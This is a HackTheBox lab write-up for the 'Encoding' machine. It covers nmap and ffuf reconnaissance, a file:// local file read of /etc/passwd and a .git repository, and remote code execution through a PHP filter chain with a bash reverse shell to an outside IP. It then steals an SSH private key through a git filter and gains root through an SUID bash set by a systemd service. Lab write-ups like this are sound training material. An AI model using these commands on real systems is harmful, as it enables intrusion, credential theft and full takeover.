Today we will be attempting to complete the Encoding- a medium box in hackthebox. We first try to do a Nmap Scan with the following command. We see port 22 and Port 80 Open.
TARGET=10.129.86.1 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
We noticed the haxtables.htb as the hosts and now lets the hosts to the /etc/hosts file on our attacker machine.
We also see another domain api.haxtables.htb in the webpage. Since there might be another set of domains (subdomains) we can run ffuf to bruteforce the dns.
We noticed another subdomain "image.haxtables.htb". lets add both the /etc/hosts. on browsing the haxtables.htb we noticed that api has some information, the one which is interesting for us is this example snippet.
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'http://example.com/data.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
we can try to read /etc/passwd and see if we can exploit that api. Modify it to this. Make sure you escape the / when defining file.
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'file:///etc/passwd'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php',json=json_data)
print(response.text)
The str2hex gives the following result.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
running ffuf on image.haxtables.htb we found a git file. When we tried to use the git-dumper to dump the git file we noticed that there is 403 forbidden error is thrown. Lets try to investigate why this 403 error is happening.
/var/www/image/index.php
<?php
include_once 'utils.php';
include 'includes/coming_soon.html';
?>
Lets look at utils.php if we see some juicy information.
<?php
// Global functions
function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}
function git_status()
{
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}
function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}
function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
?>
Now lets look at this file and see the interesting function named "get_url_content" it blocks if anything is other than 127.0.0.1, we have to use the LFI to download this GIT.
we need to edit the git dumper to use the lfi. add the following line under line 170.
curl -s 'http://api.haxtables.htb/v3/tools/string/index.php' -H 'Content-Type: application/json' --data-binary "{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}" | jq .data | xxd -ps -r > "$target"
Lets use the extractor to view contents of the git. We see that there is "action_handler.php".let use the git and see the contents of the action_handler.php
<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
Code looks vulnerable to LFI since the page parameter is not getting sanitised or there is no blacklist or whitelist filter implementation, but we need something else to access this file and read the files and execute so that utils.php 127.0.0.1 filter is bypassed.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://haxtables.htb/FUZZ
Running FFUF on the haxtables.htb we noticed handler.php. lets read this file through the initial api.haxtables.htb lfi
curl -s http://haxtables.htb/handler.php | jq
{
"message": "Insufficient parameters!"
}
handler.php
<?php
include_once '../api/utils.php';
if (isset($_FILES['data_file'])) {
$is_file = true;
$action = $_POST['action'];
$uri_path = $_POST['uri_path'];
$data = $_FILES['data_file']['tmp_name'];
} else {
$is_file = false;
$jsondata = json_decode(file_get_contents('php://input'), true);
$action = $jsondata['action'];
$data = $jsondata['data'];
$uri_path = $jsondata['uri_path'];
if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata))
{
echo jsonify(['message' => 'Insufficient parameters!']);
// echo jsonify(['message' => file_get_contents('php://input')]);
}
}
$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;
?>
We sent the following request and we were able to bypass the 127.0.0.1 limit on the util.php and gain the LFI.
GET /handler.php HTTP/1.1
Host: haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 123
{
"action": "",
"data": "",
"uri_path": "test@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}
We can use the php filter chain technique to gain the RCE. You can read about it here. We use the php gadget generator to generate the reverse shell payload.
python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.16.15/443 0>&1\"')?>"
We send the payload and we got the reverse shell as www-data.
running sudo -l
www-data@encoding:~/image/actions$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
Lets have look at the file.
www-data@encoding:~/image/actions$ cat /var/www/image/scripts/git-commit.sh
cat /var/www/image/scripts/git-commit.sh
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
We can start by creating a script that reads the user’s id_rsa and deposits it as a key in /dev/shm
www-data@encoding:~$ echo "cat ~/.ssh/id_rsa > /dev/shm/key" > /tmp/readkey
www-data@encoding:~$ chmod +x /tmp/readkey
www-data@encoding:~$
In the directory /var/www/image we abuse the ident filter so that when executing the script the readkey that we create is executed
www-data@encoding:~/image$ git init
Reinitialized existing Git repository in /var/www/image/.git/
www-data@encoding:~/image$ echo '*.php filter=indent' > .git/info/attributes
www-data@encoding:~/image$ git config filter.indent.clean /tmp/readkey
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
On branch master
Changes not staged for commit:
(use "git add ..." to update what will be committed)
(use "git restore ..." to discard changes in working directory)
modified: actions/action_handler.php
modified: index.php
modified: utils.php
no changes added to commit (use "git add" and/or "git commit -a")
www-data@encoding:~/image$
We can now use the key in /dev/shm and login as svc user and get the user.txt
svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
We have sudo capabilities to create a service we can have suid assigned to the bash.
echo '[Service] Type=oneshot ExecStart=chmod +s /bin/bash [Install] WantedBy=multi-user.target' > /etc/systemd/system/i0n.service
sudo systemctl restart i0n
Running bash -p will give you root and you can view the root.txt now :)